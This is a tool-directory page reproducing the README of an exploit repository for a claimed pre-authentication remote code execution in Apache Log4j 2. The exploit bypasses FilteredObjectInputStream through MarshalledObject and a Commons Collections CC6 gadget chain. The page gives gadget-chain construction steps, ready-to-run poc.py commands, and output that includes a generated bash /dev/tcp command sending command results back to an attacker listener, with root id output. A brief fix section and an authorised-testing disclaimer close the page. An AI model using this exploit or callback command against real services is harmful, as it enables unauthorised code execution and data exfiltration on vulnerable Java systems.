Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hypnguyen1209/log4j2-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Pre-auth RCE via FilteredObjectInputStream MarshalledObject bypass in Apache Log4j 2

View Repository
1951 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Log4j FilteredObjectInputStream Bypass

Pre-auth RCE on any Java service that deserializes LogEvent through Log4j's FilteredObjectInputStream. No credentials needed.

Reported as GitHub issue #4255 on August 24, 2026.

What it does

Log4j ships FilteredObjectInputStream (FOIS) as a safe deserialization wrapper. It overrides resolveClass() with an allowlist so only org.apache.logging.log4j.*, java.lang.*, java.util.*, and a few explicit classes can pass through.

One of those explicit classes is java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- the problem
        ...);

MarshalledObject.get() creates a new, plain ObjectInputStream internally. No filter. Anything wrapped inside a MarshalledObject deserializes with zero restrictions, completely bypassing the allowlist.

Log4j itself does this wrapping. LogEventProxy (the serialization proxy for every LogEvent) stores the event message in a MarshalledObject<Message> field. On deserialization, it calls marshalledMessage.get() to recover the message. That call creates the unfiltered stream. Game over.

How FOIS gets bypassed

The filter only sees top-level class descriptors in the stream:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS checks LogEventProxy (log4j package, allowed), MarshalledObject (in the allowlist), and byte[] (primitive). All pass. The CC6 gadget chain is hidden inside MarshalledObject.objBytes as raw bytes. FOIS never sees it.

When LogEventProxy.readResolve() runs:

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // unfiltered ObjectInputStream
        } catch (final Exception ex) {
            // ignore me
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() creates a plain ObjectInputStream, the CC6 chain triggers, and the command executes. The catch block swallows the ClassCastException when the gadget result isn't a Message, so the server responds normally. No error, no log entry.

For comparison, ObjectMessage does it correctly:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // creates a FILTERED inner stream
}

LogEventProxy should use this same pattern but doesn't.

How the attack works

root@kitploit:~
Attacker                                   Target (FOIS-based receiver)
   |                                              |
   |  HTTP POST /log                              |
   |  Body: serialized LogEventProxy              |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j package
   |                   ├── resolveClass(MarshalledObject)  ✓ allowlist
   |                   └── resolveClass(byte[])            ✓ primitive
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   NO FILTER
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

The server responds 200 and processes the event as if nothing happened.

Payload construction

The trick is getting the CC6 chain inside MarshalledObject.objBytes without it triggering early.

GadgetMessage implements Message and overrides writeReplace() to return the CC6 gadget:

  1. Build a Log4jLogEvent with GadgetMessage as its message.
  2. Serialize it. LogEventProxy.writeObject() calls marshall(message), which feeds GadgetMessage into the MarshalledObject constructor.
  3. The constructor serializes GadgetMessage. writeReplace() fires and substitutes the CC6 HashSet.
  4. Now MarshalledObject.objBytes contains the CC6 chain. GadgetMessage never appears on the wire.

GadgetMessage is attacker-side only. It doesn't need to be on the target classpath.

Affected versions

ComponentVulnerable
log4j-api (FilteredObjectInputStream)2.11.0 to 2.24.3
log4j-core (LogEventProxy MarshalledObject field)2.8.0 to 2.24.3

Target also needs a gadget library on the classpath. This PoC uses Commons Collections 3.2.1 (CC6 chain).

Running it

Requirements: Java 11+, Maven, Python 3.10+, Docker (victim lab only)

Build and start the victim:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

Build the exploit (or let poc.py do it on first run):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

Run:

root@kitploit:~
# --lhost is your IP reachable from the target
# for Docker lab on the same host, use the docker0 bridge IP
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

Output:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

Custom callback port:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

How poc.py works

  1. On first run, calls mvn package in exploit/ to compile PayloadGenerator and pull dependencies. Skips on subsequent runs.
  2. Runs java -cp exploit/target/... PayloadGenerator <cmd> on the host. Outputs a base64 serialized LogEvent with CC6 inside a MarshalledObject.
  3. Opens a TCP listener on --lport (default 9999) to receive command output.
  4. Sends the raw bytes as HTTP POST to the target /log endpoint.
  5. The payload executes the command on the target and pipes output back to the listener via bash /dev/tcp.

Files

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # exploit script
├── exploit/                        # attacker (runs on host)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message with writeReplace()
└── lab/                            # victim (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # HTTP endpoint using FOIS

lab/ is the victim. HttpLogReceiver is an HTTP log receiver using FilteredObjectInputStream. Default config, no debug flags, no artificial weaknesses. Commons Collections on the classpath as a realistic transitive dependency.

exploit/ is the attacker tooling. PayloadGenerator builds the serialized payload on the host. Never touches the victim container.

Fix

  1. Remove java.rmi.MarshalledObject from REQUIRED_JAVA_CLASSES.
  2. Replace the MarshalledObject<Message> field in LogEventProxy with a byte[] serialized via SerializationUtil.writeWrappedObject() / readWrappedObject(). That's the same pattern ObjectMessage already uses correctly.

Commons Collections versions

CC 3.2.1 and earlier: InvokerTransformer serializes freely. CC6 works as-is.

CC 3.2.2 (Nov 2015): Added a serialization guard in InvokerTransformer that blocks the chain unless org.apache.commons.collections.enableUnsafeSerialization is true.

The filter bypass exists regardless of CC version. CC's guard is defense-in-depth at the gadget layer, not a fix for the broken filter. Any other unguarded gadget library (Groovy, BeanShell, Spring Beans, etc.) enables the same attack.

Cleanup

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

Legal

For authorized testing only. Get written permission before running this against anything you don't own.

Download Tool